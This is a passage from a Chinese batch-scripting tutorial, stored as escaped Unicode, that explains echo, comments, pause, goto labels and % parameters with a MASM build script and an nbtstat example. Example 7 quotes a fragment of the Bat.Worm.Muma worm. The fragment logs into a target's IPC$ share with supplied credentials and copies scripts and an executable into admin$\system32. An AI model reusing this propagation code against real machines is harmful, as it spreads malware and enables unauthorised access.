4eae\u5802\u4e86\uff0c\u4e8b\u534a\u529f\u500d\uff0c\u4f55\u4e50\u800c\u4e0d\u4e3a\uff1f\u5176\u4e8c\uff0c\u6211\u8fd9\u6bb5\u65f6\u95f4\u72b6\u6001\u4e0d\u662f\u5f88\u597d\uff0c\u611f\u5192\u53d1\u70e7\u5934\u75bc\u9f3b\u585e\uff0c\u4f46\u4e3b\u8981\u8fd8\u662f\u611f\u60c5\u4e0a\u7cbe\u795e\u6467\u6b8b\uff0c\u641e\u7684\u4eba\u70e6\u900f\u4e86\uff0c\u501f\u5199\u6559\u7a0b\u4e4b\u9645\u611f\u6168\u51e0\u53e5\uff0c\u5927\u5bb6\u5c31\u5168\u5f53\u4e70\u72d7\u76ae\u818f\u836f\u4e86\uff0c\u5b8c\u5168\u53ef\u4ee5\u7701\u7565\u4e0d\u770b\uff08\u4e5f\u8bb8\u8fd8\u771f\u6709\u70b9\u6548\u679c----\u4e0d\u81f3\u4e8e\u8ba9\u4f60\u770b\u7740\u770b\u7740\u5c31\u7761\u7740\u4e86\uff0c\u628a\u5934\u78d5\u4e86\u6765\u627e\u6211\u62a5\u9500\u533b\u836f\u8d39\uff09\u3002\u8bf4\u4e0d\u5b9a\u4e0b\u6b21\u7684\u6559\u7a0b\u4e2d\u5927\u5bb6\u8fd8\u4f1a\u770b\u5230\u6768\u8fc7\u3001\u5f20\u65e0\u5fcc\u7b49\u91d1\u8001\u524d\u8f88\u7b14\u4e0b\u7684\u82f1\u96c4\u4eec\u3002
\u770b\u8fc7\u7b2c\u4e00\u7ae0\u7684\u670b\u53cb\uff0c\u4e00\u5b9a\u5bf9\u6279\u5904\u7406\u6709\u4e86\u521d\u6b65\u7684\u5370\u8c61\uff0c\u77e5\u9053\u5b83\u5230\u5e95\u662f\u7528\u6765\u5e72\u4ec0\u4e48\u7684\u4e86\u3002\u4f46\u4f60\u77e5\u9053\u8fd0\u7528\u6279\u5904\u7406\u7684\u7cbe\u9ad3\u5728\u54ea\u91cc\u5417 \uff1f\u5176\u5b9e\u5f88\u7b80\u5355\uff1a\u601d\u8def\u8981\u7075\u6d3b\uff01\u6ca1\u6709\u505a\u4e0d\u5230\u7684\uff0c\u53ea\u6709\u60f3\u4e0d\u5230\u7684\u3002\u8fd9\u548c\u7231\u60c5\u5c31\u6709\u70b9\u4e0d\u540c\u4e86\uff0c\u56e0\u4e3a\u7231\u60c5\u7684\u4e16\u754c\u662f\u4e24\u4e2a\u4eba\u7684\u4e16\u754c\uff0c\u4e00\u53a2\u60c5\u613f\u4e0d\u53eb\u7231\u60c5\uff08\u8865\u5145\uff1a\u90a3\u53eb\u5355\u604b\u3002\u5e9f\u8bdd\uff01\uff09\u800c\u6279\u5904\u7406\u5374\u662f\u4e00\u4e2a\u4eba\u7684\u5929\u5802\uff0c\u4f60\u53ef\u4ee5\u4e3a\u6240\u6b32\u4e3a\uff0c\u6ca1\u6709\u8fbe\u4e0d\u5230\u7684\u5883\u754c\uff01

\u6279\u5904\u7406\u770b\u8d77\u6765\u6742\u4e71\u65e0\u7ae0\uff0c\u4f46\u5b83\u7684\u903b\u8f91\u6027\u4e4b\u5f3a\uff0c\u7edd\u5bf9\u4e0d\u6bd4\u5176\u4ed6\u7a0b\u5e8f\u8bed\u8a00\uff08\u5982\u6c47\u7f16\uff09\u4f4e\uff0c\u5982\u679c\u4f60\u5199\u7684\u811a\u672c\u662f\u4e00\u5806\u4e71\u9ebb\uff0c\u867d\u7136\u6bcf\u4e00\u884c\u547d\u4ee4\u90fd\u6b63\u786e\uff0c\u4f46\u4ece\u5934\u6267\u884c\u5230\u5c3e\u540e\uff0c\u4e0d\u4e00\u5b9a\u5f97\u5230\u4f60\u60f3\u8981\u7684\u7ed3\u679c\uff0c\u4e5f\u8bb8\u662f\u4e00\u5c4f\u5e55\u7684Bad command or fail name\u3002\u8fd9\u53c8\u548c\u7231\u60c5\u6709\u4e86\u5171\u540c\u70b9\uff1a\u6309\u6b65\u9aa4\u6765\u7ecf\u8425\uff0c\u7f3a\u5c11\u6216\u589e\u591a\u7684\u6b65\u9aa4\u90fd\u53ef\u80fd\u5bfc\u81f4\u4e0d\u60f3\u770b\u89c1\u7684\u7ed3\u679c\u3002\u9677\u5165\u7231\u6cb3\u7684\u670b\u53cb\uff0c\u76f8\u4fe1\u6ca1\u6709\u4e0d\u80af\u5b9a\u8fd9\u53e5\u8bdd\u7684\u3002\u6211\u7684\u7231\u60c5\u6279\u5904\u7406\uff0c\u8f93\u51fa\u7684\u7ed3\u679c\u4e0d\u662fBad command or fail name\uff0c\u5c4f\u5e55\u662f\u8fd9\u4e48\u663e\u793a\u7684\uff1a\u2018\u4f60\u7684\u7231\u60c5'\u4e0d\u662f\u5185\u90e8\u6216\u5916\u90e8\u547d\u4ee4\uff0c\u4e5f\u4e0d\u662f\u53ef\u8fd0\u884c\u7684\u7a0b\u5e8f\u6216\u6279\u5904\u7406\u6587\u4ef6\u3002\u7136\u540e\u5c31\u662f\u5149\u6807\u4e0d\u505c\u95ea\u52a8\uff0c\u7b49\u5f85\u8fd9\u4e0b\u4e00\u6b21\u9519\u8bef\u7684\u8f93\u5165\u3002

\u4ece\u8fd9\u4e00\u7ae0\u5f00\u59cb\uff0c\u5c06\u7531\u6d45\u5165\u6df1\u7684\u4ecb\u7ecd\u6279\u5904\u7406\u4e2d\u5e38\u7528\u7684\u547d\u4ee4\uff0c\u5f88\u591a\u5e38\u89c1DOS\u547d\u4ee4\u5728\u6279\u5904\u7406\u811a\u672c\u4e2d\u6709\u8fd9\u5e7f\u6cdb\u7684\u5e94\u7528\uff0c\u5b83\u4eec\u662f\u6279\u5904\u7406\u811a\u672c\u7684BODY\u90e8\u5206\uff0c\u4f46\u6279\u5904\u7406\u6bd4DOS\u66f4\u7075\u6d3b\u591a\u6837\uff0c\u66f4\u5177\u5907\u81ea\u52a8\u5316\u3002\u8981\u5b66\u597d\u6279\u5904\u7406\uff0cDOS\u4e00\u5b9a\u8981\u6709\u6bd4\u8f83\u624e\u5b9e\u7684\u57fa\u7840\u3002\u8fd9\u91cc\u53ea\u8bb2\u8ff0\u4e00\u4e9b\u6bd4\u8f83\u5c11\u7528\uff08\u76f8\u5bf9\u6765\u8bf4\uff09\u7684DOS\u547d\u4ee4\uff0c\u5e38\u7528\u547d\u4ee4\u5982COPY\u3001DIR\u7b49\u5c31\u4e0d\u505a\u4ecb\u7ecd\u4e86\uff08\u8fd9\u4e9b\u770b\u4f3c\u7b80\u5355\u7684\u547d\u4ee4\u5b9e\u9645\u590d\u6742\u7684\u5f88\uff0c\u6211\u6015\u81ea\u5df1\u90fd\u8bf4\u4e0d\u6e05\u695a\uff01\uff09\u3002

\u4f8b\u4e94\uff0c\u5148\u770b\u4e00\u4e2a\u5b9e\u4f8b\u3002\u8fd9\u662f\u4e00\u4e2a\u5f88\u6709\u610f\u601d\u7684\u811a\u672c\uff0c\u4e00\u4e2a\u5c0f\u5de7\u5b9e\u7528\u7684\u597d\u4e1c\u4e1c\uff0c\u628a\u6279\u5904\u7406\u201c\u81ea\u52a8\u5316\u201d\u7684\u7279\u70b9\u4f53\u73b0\u7684\u6dcb\u6f13\u5c3d\u81f4\u3002\u5148\u4ecb\u7ecd\u4e00\u4e0b\u8fd9\u4e2a\u811a\u672c\u7684\u6765\u5386\uff1a\u5927\u5bb6\u90fd\u77e5\u9053\u6c47\u7f16\u7a0b\u5e8f\uff08MASM\uff09\u7684\u4e0a\u673a\u8fc7\u7a0b\uff0c\u5148\u8981\u5bf9\u6e90\u4ee3\u7801\u8fdb\u884c\u6c47\u7f16\u3001\u8fde\u63a5\uff0c\u7136\u540e\u518d\u6267\u884c\uff0c\u800c\u8fd9\u4e2d\u95f4\u6709\u5f88\u591a\u73af\u8282\u9700\u8981\u8f93\u5165\u5f88\u591a\u4e1c\u897f\uff0c\u9ebb\u70e6\u7684\u5f88\uff08\u53ea\u6709\u7ecf\u5386\u8fc7\u7684\u670b\u53cb\u624d\u61c2\u5f97\uff09\u3002\u5982\u4f55\u4f7f\u8fd9\u4e2a\u8fc7\u7a0b\u53d8\u7684\u7b80\u5355\u5462\uff1f\u5728\u6211\u4eec\u641e\u6c47\u7f16\u8bfe\u7a0b\u8bbe\u8ba1\u65f6\uff0c\u6211\u201c\u88ab\u903c\u201d\u5199\u4e86\u8fd9\u4e2a\u811a\u672c\uff0c\u7528\u8d77\u6765\u5f88\u723d\uff0c\u5475\u5475\u3002\u770b\u770b\u811a\u672c\u5185\u5bb9\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if \"%1\"==\"\" goto usage
::if input without paramater goto usage
if \"%1\"==\"\/?\" goto usage
::if paramater is \"\/?\" goto usage
if \"%1\"==\"help\" goto usage
::if paramater is \"help\" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
\n<\/div>
\u5148\u4e0d\u8981\u88ab\u8fd9\u4e00\u5806\u7684\u4e1c\u897f\u7ed9\u5413\u6015\u4e86\uff0c\u9759\u4e0b\u5fc3\u6765\u4ed4\u7ec6\u7684\u770b\uff08\u56de\u60f3\u4e00\u4e0b\u7b2c\u4e00\u7ae0\u4e2d\u7b2c\u4e00\u6bb5\u662f\u600e\u4e48\u5199\u7684\uff01\uff01\uff09\u3002\u5df2\u7ecf\u7ed9\u51fa\u4e86\u6bcf\u4e00\u884c\u547d\u4ee4\u7684\u89e3\u91ca\uff0c\u4e24\u4e2a\u5192\u53f7\u540e\u9762\u7684\u5185\u5bb9\u4e3a\u524d\u4e00\u884c\u5185\u5bb9\u89e3\u91ca\u7684E\u6587\uff08\u5bb3\u6015E\u6587\u7684\u670b\u53cb\u4e5f\u4e0d\u7528\u62c5\u5fc3\uff0c\u90fd\u5f88easy\uff0c\u4e00\u770b\u5c31\u61c2\u4e86\uff0c\u5b9e\u5728\u4e0d\u61c2\u4e86\u4e0d\u4f1a\u67e5\u8bcd\u5178\u554a\uff0c\u8fd9\u4e48\u61d2\uff1f\uff09\uff0c\u5728\u811a\u672c\u6267\u884c\u65f6\u4e0d\u663e\u793a\uff0c\u4e5f\u4e0d\u8d77\u4efb\u4f55\u4f5c\u7528\u3002\u5012\u6570\u7b2c5\u884c\u884c\u9996\u6709\u4e00\u4e2a\u5192\u53f7\uff0c\u53ef\u4e0d\u662f\u7b14\u8bef\u54e6\uff01\u5177\u4f53\u4f5c\u7528\u540e\u9762\u4f1a\u8be6\u7ec6\u8bb2\u5230\u3002\u6b64\u811a\u672c\u4e2dmasm\u548clink\u662f\u6c47\u7f16\u7a0b\u5e8f\u548c\u8fde\u63a5\u7a0b\u5e8f\uff0c\u5fc5\u987b\u548cedit\u7a0b\u5e8f\u4ee5\u53ca\u4f60\u8981\u7f16\u8f91\u7684\u6e90\u4ee3\u7801\uff08\u5f53\u7136\u8fd8\u6709\u8fd9\u4e2a\u811a\u672c\uff0c\u5e9f\u8bdd\uff01\uff09\u4e00\u8d77\u5728\u5f53\u524d\u76ee\u5f55\u4e2d\u3002\u4f7f\u7528\u8fd9\u4e2a\u6279\u5904\u7406\u811a\u672c\uff0c\u53ef\u4ee5\u6700\u5927\u53ef\u80fd\u7684\u51cf\u5c11\u624b\u5de5\u8f93\u5165\uff0c\u6574\u4e2a\u8fc7\u7a0b\u4e2d\u53ea\u9700\u8981\u6309\u51e0\u4e0b\u56de\u8f66\u952e\uff0c\u5373\u53ef\u5b9e\u73b0\u4ece\u6c47\u7f16\u6e90\u4ee3\u7801\u5230\u53ef\u6267\u884cexe\u6587\u4ef6\u7684\u81ea\u52a8\u5316\u8f6c\u6362\uff0c\u5e76\u5177\u5907\u667a\u80fd\u5224\u65ad\u529f\u80fd\uff1a\u5982\u679c\u6c47\u7f16\u65f6\u6e90\u4ee3\u7801\u51fa\u73b0\u9519\u8bef\uff08\u6c47\u7f16\u4e0d\u6210\u529f\uff09\uff0c\u5219\u81ea\u52a8\u6682\u505c\u663e\u793a\u9519\u8bef\u4fe1\u606f\uff0c\u5e76\u5728\u6309\u4efb\u610f\u952e\u540e\u81ea\u52a8\u8fdb\u5165\u7f16\u8f91\u6e90\u4ee3\u7801\u754c\u9762\uff1b\u5982\u679c\u6e90\u4ee3\u7801\u6c47\u7f16\u6210\u529f\uff0c\u5219\u8fdb\u884c\u8fde\u63a5\uff0c\u5e76\u5728\u8fde\u63a5\u540e\u81ea\u52a8\u6267\u884c\u751f\u6210\u7684exe\u6587\u4ef6\u3002\u53e6\u5916\uff0c\u7531\u4e8e\u6279\u5904\u7406\u547d\u4ee4\u7684\u7b80\u5355\u6027\u548c\u7075\u6d3b\u6027\uff0c\u8fd9\u4e2a\u811a\u672c\u8fd8\u5177\u5907\u826f\u597d\u7684\u53ef\u6539\u8fdb\u6027\uff0c\u7b80\u5355\u8fdb\u884c\u4fee\u6539\u5c31\u53ef\u4ee5\u7b26\u5408\u4e0d\u540c\u670b\u53cb\u7684\u4e0a\u673a\u4e60\u60ef\u3002\u6b63\u5728\u5b66\u6c47\u7f16\u7684\u670b\u53cb\uff0c\u4e00\u5b9a\u522b\u5fd8\u4e86\u5b9e\u4e60\u4e00\u4e0b\uff01

\u5728\u8fd9\u4e2a\u811a\u672c\u4e2d\u51fa\u73b0\u4e86\u5982\u4e0b\u51e0\u4e2a\u547d\u4ee4\uff1a@\u3001echo\u3001::\u3001pause\u3001:\u548cgoto\u3001%\u4ee5\u53caif\u3002\u800c\u8fd9\u4e00\u7ae0\u5c31\u5c06\u8bb2\u8ff0\u8fd9\u51e0\u4e2a\u547d\u4ee4\u3002

1\u3001@

\u8fd9\u4e2a\u7b26\u53f7\u5927\u5bb6\u90fd\u4e0d\u964c\u751f\uff0cemail\u7684\u5fc5\u5907\u7b26\u53f7\uff0c\u5b83\u600e\u4e48\u4f1a\u8dd1\u5230\u6279\u5904\u7406\u4e2d\u5462\uff1f\u5475\u5475\uff0c\u4e0d\u662f\u5b83\u7684\u9519\uff0c\u6279\u5904\u7406\u672c\u6765\u5c31\u79bb\u4e0d\u5f00\u5b83\uff0c\u8981\u4e0d\u5c31\u4e0d\u5b8c\u7f8e\u4e86\u3002\u5b83\u7684\u4f5c\u7528\u662f\u8ba9\u6267\u884c\u7a97\u53e3\u4e2d\u4e0d\u663e\u793a\u5b83\u540e\u9762\u8fd9\u4e00\u884c\u7684\u547d\u4ee4\u672c\u8eab\uff08\u591a\u4e48\u7ed5\u53e3\u7684\u4e00\u53e5\u8bdd\uff01\uff09\u3002\u5475\u5475\uff0c\u901a\u4fd7\u4e00\u70b9\u8bf4\uff0c\u884c\u9996\u6709\u4e86\u5b83\u7684\u8bdd\uff0c\u8fd9\u4e00\u884c\u7684\u547d\u4ee4\u5c31\u4e0d\u663e\u793a\u4e86\u3002\u5728\u4f8b\u4e94\u4e2d\uff0c\u9996\u884c\u7684@echo off\u4e2d\uff0c@\u7684\u4f5c\u7528\u5c31\u662f\u8ba9\u811a\u672c\u5728\u6267\u884c\u65f6\u4e0d\u663e\u793a\u540e\u9762\u7684echo off\u90e8\u5206\u3002\u8fd9\u4e0b\u61c2\u4e86\u5427\uff1f\u8fd8\u662f\u4e0d\u592a\u61c2\uff1f\u6ca1\u5173\u7cfb\uff0c\u770b\u5b8cecho\u547d\u4ee4\u7b80\u4ecb\uff0c\u81ea\u7136\u5c31\u61c2\u4e86\u3002

2\u3001echo

\u4e2d\u6587\u4e3a\u201c\u53cd\u9988\u201d\u3001\u201c\u56de\u663e\u201d\u7684\u610f\u601d\u3002\u5b83\u5176\u5b9e\u662f\u4e00\u4e2a\u5f00\u5173\u547d\u4ee4\uff0c\u5c31\u662f\u8bf4\u5b83\u53ea\u6709\u4e24\u79cd\u72b6\u6001\uff1a\u6253\u5f00\u548c\u5173\u95ed\u3002\u4e8e\u662f\u5c31\u6709\u4e86echo on \u548cecho off\u4e24\u4e2a\u547d\u4ee4\u4e86\u3002\u76f4\u63a5\u6267\u884cecho\u547d\u4ee4\u5c06\u663e\u793a\u5f53\u524decho\u547d\u4ee4\u72b6\u6001\uff08off\u6216on\uff09\u6267\u884cecho off\u5c06\u5173\u95ed\u56de\u663e\uff0c\u5b83\u540e\u9762\u7684\u6240\u6709\u547d\u4ee4\u90fd\u4e0d\u663e\u793a\u547d\u4ee4\u672c\u8eab\uff0c\u53ea\u663e\u793a\u6267\u884c\u540e\u7684\u7ed3\u679c\uff0c\u9664\u975e\u6267\u884cecho on\u547d\u4ee4\u3002\u5728\u4f8b\u4e94\u4e2d\uff0c\u9996\u884c\u7684@\u547d\u4ee4\u548cecho off\u547d\u4ee4\u8054\u5408\u8d77\u6765\uff0c\u8fbe\u5230\u4e86\u4e24\u4e2a\u76ee\u7684\uff1a\u4e0d\u663e\u793aecho off\u547d\u4ee4\u672c\u8eab\uff0c\u4e0d\u663e\u793a\u4ee5\u540e\u5404\u884c\u4e2d\u7684\u547d\u4ee4\u672c\u8eab\u3002\u7684\u786e\u662f\u6709\u70b9\u4e71\uff0c\u4f46\u4f60\u8981\u662f\u7ec3\u4e60\u4e00\u4e0b\u7684\u8bdd\uff0c3\u5206\u949f\u5305\u4f1a\uff0c\u4e0d\u4f1a\u7684\u9000\u94b1\uff01

echo\u547d\u4ee4\u7684\u53e6\u4e00\u79cd\u7528\u6cd5\u4e00\uff1a\u53ef\u4ee5\u7528\u5b83\u6765\u663e\u793a\u4fe1\u606f\uff01\u5982\u4f8b\u4e94\u4e2d\u5012\u6570\u7b2c\u4e8c\u884c\uff0cDefault BAT file name is START.BAT\u5c06\u5728\u811a\u672c\u6267\u884c\u540e\u7684\u7a97\u53e3\u4e2d\u663e\u793a\uff0c\u800cecho\u547d\u4ee4\u672c\u8eab\u4e0d\u663e\u793a\uff08\u4e3a\u4ec0\u4e48\uff1f\uff1f\uff09\u3002
echo\u547d\u4ee4\u7684\u53e6\u4e00\u79cd\u7528\u6cd5\u4e8c\uff1a\u53ef\u4ee5\u76f4\u63a5\u7f16\u8f91\u6587\u672c\u6587\u4ef6\u3002

\u4f8b\u516d\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
\n<\/div>

\u4ee5\u4e0a\u811a\u672c\u5185\u5bb9\u7684\u7f16\u8f91\u65b9\u6cd5\u662f\uff0c\u76f4\u63a5\u662f\u547d\u4ee4\u884c\u8f93\u5165\uff0c\u6bcf\u884c\u4e00\u56de\u8f66\u3002\u6700\u540e\u5c31\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2aa.bat\u7684\u6587\u4ef6\uff0c\u76f4\u63a5\u6267\u884c\u5c31\u4f1a\u5f97\u5230\u7ed3\u679c\u3002

3\u3001::

\u8fd9\u4e2a\u547d\u4ee4\u7684\u4f5c\u7528\u5f88\u7b80\u5355\uff0c\u5b83\u662f\u6ce8\u91ca\u547d\u4ee4\uff0c\u5728\u6279\u5904\u7406\u811a\u672c\u4e2d\u548crem\u547d\u4ee4\u7b49\u6548\u3002\u5b83\u540e\u9762\u7684\u5185\u5bb9\u5728\u6267\u884c\u65f6\u4e0d\u663e\u793a\uff0c\u4e5f\u4e0d\u8d77\u4efb\u4f55\u4f5c\u7528\uff0c\u56e0\u4e3a\u5b83\u53ea\u662f\u6ce8\u91ca\uff0c\u53ea\u662f\u589e\u52a0\u4e86\u811a\u672c\u7684\u53ef\u8bfb\u6027\uff0c\u548cC\u8bed\u8a00\u4e2d\u7684\/*\u2026\u2026\u2026\u2026*\/\u7c7b\u4f3c\u3002\u5730\u7403\u4eba\u90fd\u80fd\u770b\u61c2\uff0c\u5c31\u4e0d\u591a\u8bf4\u4e86\u3002

4\u3001pause

\u4e2d\u6587\u4e3a\u201c\u6682\u505c\u201d\u7684\u610f\u601d\uff08\u770b\u770b\u4f60\u7684workman\u4e0a\uff09\uff0c\u6211\u4e00\u76f4\u8ba4\u4e3a\u5b83\u662f\u6279\u5904\u7406\u4e2d\u6700\u7b80\u5355\u7684\u4e00\u4e2a\u547d\u4ee4\uff0c\u5355\u7eaf\u3001\u5b9e\u7528\u3002\u5b83\u7684\u4f5c\u7528\uff0c\u662f\u8ba9\u5f53\u524d\u7a0b\u5e8f\u8fdb\u7a0b\u6682\u505c\u4e00\u4e0b\uff0c\u5e76\u663e\u793a\u4e00\u884c\u4fe1\u606f\uff1a\u8bf7\u6309\u4efb\u610f\u952e\u7ee7\u7eed. . .\u3002\u5728\u4f8b\u4e94\u4e2d\u8fd9\u4e2a\u547d\u4ee4\u8fd0\u7528\u4e86\u4e24\u6b21\uff0c\u7b2c\u4e00\u6b21\u7684\u4f5c\u7528\u662f\u8ba9\u4f7f\u7528\u8005\u770b\u6e05\u695a\u7a0b\u5e8f\u4fe1\u606f\uff0c\u7b2c\u4e8c\u4e2a\u662f\u663e\u793a\u9519\u8bef\u7684\u6c47\u7f16\u4ee3\u7801\u4fe1\u606f\uff08\u5176\u5b9e\u4e0d\u662f\u5b83\u60f3\u663e\u793a\uff0c\u800c\u662fmasm\u7a0b\u5e8f\u5728\u663e\u793a\u9519\u8bef\u4fe1\u606f\u65f6\u88ab\u6682\u5b83\u505c\u4e86\uff0c\u4ee5\u4fbf\u8ba9\u4f60\u770b\u6e05\u695a\u4f60\u7684\u6e90\u4ee3\u7801\u9519\u5728\u54ea\u91cc\uff09\u3002

5\u3001:\u548cgoto

\u4e3a\u4ec0\u4e48\u8981\u628a\u8fd9\u4e24\u4e2a\u547d\u4ee4\u8054\u5408\u8d77\u6765\u4ecb\u7ecd\uff1f\u56e0\u4e3a\u5b83\u4eec\u662f\u5206\u4e0d\u5f00\u7684\uff0c\u65e0\u8bba\u5c11\u4e86\u54ea\u4e2a\u6216\u591a\u4e86\u54ea\u4e2a\u90fd\u4f1a\u51fa\u9519\u3002goto\u662f\u4e2a\u8df3\u8f6c\u547d\u4ee4\uff0c: \u662f\u4e00\u4e2a\u6807\u7b7e\u3002\u5f53\u7a0b\u5e8f\u8fd0\u884c\u5230goto\u65f6\uff0c\u5c06\u81ea\u52a8\u8df3\u8f6c\u5230:\u5b9a\u4e49\u7684\u90e8\u5206\u53bb\u6267\u884c\u4e86\uff08\u662f\u4e0d\u662f\u5206\u4e0d\u5f00\uff1f\uff09\u3002\u4f8b\u4e94\u4e2d\u5012\u6570\u7b2c5\u884c\u884c\u9996\u51fa\u73b0\u4e00\u4e2a:\uff0c\u5219\u7a0b\u5e8f\u5728\u8fd0\u884c\u5230goto\u65f6\u5c31\u81ea\u52a8\u8df3\u8f6c\u5230:\u6807\u7b7e\u5b9a\u4e49\u7684\u90e8\u5206\u6267\u884c\uff0c\u7ed3\u679c\u662f\u663e\u793a\u811a\u672cusage\uff08usage\u5c31\u662f\u6807\u7b7e\u540d\u79f0\uff09\u3002\u4e0d\u96be\u770b\u51fa\uff0cgoto\u547d\u4ee4\u5c31\u662f\u6839\u636e\u8fd9\u4e2a\u5192\u53f7\u548c\u6807\u7b7e\u540d\u79f0\u6765\u5bfb\u627e\u5b83\u8be5\u8df3\u8f6c\u7684\u5730\u65b9\uff0c\u5b83\u4eec\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u5173\u7cfb\u3002goto\u547d\u4ee4\u4e5f\u7ecf\u5e38\u548cif\u547d\u4ee4\u7ed3\u5408\u4f7f\u7528\u3002\u81f3\u4e8e\u8fd9\u4e24\u4e2a\u547d\u4ee4\u5177\u4f53\u7528\u6cd5\uff0c\u53c2\u7167\u4f8b\u4e94\u3002

goto\u547d\u4ee4\u7684\u53e6\u4e00\u79cd\u7528\u6cd5\u4e00\uff1a\u63d0\u524d\u7ed3\u675f\u7a0b\u5e8f\u3002\u5728\u7a0b\u5e8f\u4e2d\u95f4\u4f7f\u7528goto\u547d\u4ee4\u8df3\u8f6c\u5230\u67d0\u4e00\u6807\u7b7e\uff0c\u800c\u8fd9\u4e00\u6807\u7b7e\u7684\u5185\u5bb9\u5374\u5b9a\u4e49\u4e3a\u9000\u51fa\u3002
\u5982\uff1a

\u2026\u2026
goto end
\u2026\u2026
:end

\u8fd9\u91cc:end\u5728\u811a\u672c\u6700\u540e\u4e00\u884c\uff01\u5176\u5b9e\u8fd9\u4e2a\u4f8b\u5b50\u5f88\u5f31\u667a\uff0c\u540e\u9762\u8bb2\u4e86if\u547d\u4ee4\u548c\u7ec4\u5408\u547d\u4ee4\u4f60\u5c31\u77e5\u9053\u4e86\u3002

6\u3001%

\u8fd9\u4e2a\u767e\u5206\u53f7\u4e25\u683c\u6765\u8bf4\u662f\u7b97\u4e0d\u4e0a\u547d\u4ee4\u7684\uff0c\u5b83\u53ea\u662f\u6279\u5904\u7406\u4e2d\u7684\u53c2\u6570\u800c\u5df2\uff08\u591a\u4e2a%\u4e00\u8d77\u4f7f\u7528\u7684\u60c5\u51b5\u9664\u5916\uff0c\u4ee5\u540e\u8fd8\u5c06\u8be6\u7ec6\u4ecb\u7ecd\uff09\uff0c\u4f46\u5343\u4e07\u522b\u4ee5\u4e3a\u5b83\u53ea\u662f\u53c2\u6570\u5c31\u5c0f\u770b\u4e86\u5b83\uff08\u770b\u770b\u4f8b\u4e94\u4e2d\u6709\u591a\u5c11\u5730\u65b9\u7528\u5230\u5b83\uff1f\uff09\uff0c\u5c11\u4e86\u5b83\u6279\u5904\u7406\u7684\u529f\u80fd\u5c31\u51cf\u5c11\u4e8651%\u4e86\u3002\u770b\u770b\u4f8b
\u4e03\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

net use \\\\%1\\ipc$ %3 \/u:\"%2\"
copy 11.BAT \\\\%1\\admin$\\system32 \/y
copy 13.BAT \\\\%1\\admin$\\system32 \/y
copy ipc2.BAT \\\\%1\\admin$\\system32 \/y
copy NWZI.EXE \\\\%1\\admin$\\system32 \/y
attrib \\\\%1\\admin$\\system32\u23fa.bat -r -h -s
\n<\/div>

\u4ee5\u4e0a\u4ee3\u7801\u662fBat.Worm.Muma\u75c5\u6bd2\u4e2d\u7684\u4e00\u90e8\u5206\uff0c%1\u4ee3\u8868\u7684IP\uff0c2%\u4ee3\u8868\u7684username\uff0c3%\u4ee3\u8868password\u3002\u6267\u884c\u5f62\u5f0f\u4e3a\uff1a\u811a\u672c\u6587\u4ef6\u540d \u53c2\u6570\u4e00 \u53c2\u6570\u4e8c \u2026\u2026\u3002\u5047\u8bbe\u8fd9\u4e2a\u811a\u672c\u88ab\u4fdd\u5b58\u4e3aa.bat\uff0c\u5219\u6267\u884c\u5f62\u5f0f\u5982\u4e0b\uff1aa IP username password\u3002\u8fd9\u91ccIP\u3001username\u3001password\u662f\u4e09\u4e2a\u53c2\u6570\uff0c\u7f3a\u4e00\u4e0d\u53ef\uff08\u56e0\u4e3a\u7a0b\u5e8f\u4e0d\u80fd\u6b63\u786e\u8fd0\u884c\uff0c\u5e76\u4e0d\u662f\u56e0\u4e3a\u5c11\u4e86\u53c2\u6570\u8bed\u6cd5\u5c31\u4e0d\u5bf9\uff09\u8fd9\u6837\u5728\u811a\u672c\u6267\u884c\u8fc7\u7a0b\u4e2d\uff0c\u811a\u672c\u5c31\u81ea\u52a8\u7528\u7528\u4f60\u7684\u4e09\u4e2a\u53c2\u6570\u4f9d\u6b21\uff08\u8bb0\u4f4f\uff0c\u662f\u4f9d\u6b21\uff01\u4e5f\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u5173\u7cfb\u3002\uff09\u4ee3\u63621%\u30012%\u548c3%\uff0c\u8fd9\u6837\u5c31\u8fbe\u5230\u4e86\u7075\u6d3b\u8fd0\u7528\u7684\u76ee\u7684\uff08\u8bd5\u60f3\uff0c\u5982\u679c\u5728\u811a\u672c\u4e2d\u76f4\u63a5\u628aIP\u3001username\u548cpassword\u90fd\u5b9a\u4e49\u6b7b\uff0c\u90a3\u4e48\u811a\u672c\u7684\u4f5c\u7528\u4e5f\u5c31\u88ab\u56fa\u5b9a\u4e86\uff0c\u4f46\u5982\u679c\u4f7f\u7528%\u7684\u8bdd\uff0c\u4e0d\u540c\u7684\u53c2\u6570\u53ef\u4ee5\u8fbe\u5230\u4e0d\u540c\u7684\u76ee\u7684\uff0c\u662f\u4e0d\u662f\u66f4\u7075\u6d3b\uff1f\uff09\u3002

\u5173\u4e8e\u8fd9\u4e2a\u53c2\u6570\u7684\u4f7f\u7528\uff0c\u5728\u540e\u7eed\u7ae0\u8282\u4e2d\u8fd8\u5c06\u4ecb\u7ecd\u3002\u4e00\u5b9a\u8981\u975e\u5e38\u719f\u7ec3\u624d\u884c\uff0c\u8fd9\u9700\u8981\u5f88\u591a\u7ec3\u4e60\u8fc7\u7a0b\uff0c\u9700\u8981\u4e0b\u70b9\u72e0\u5de5\u592b\uff01

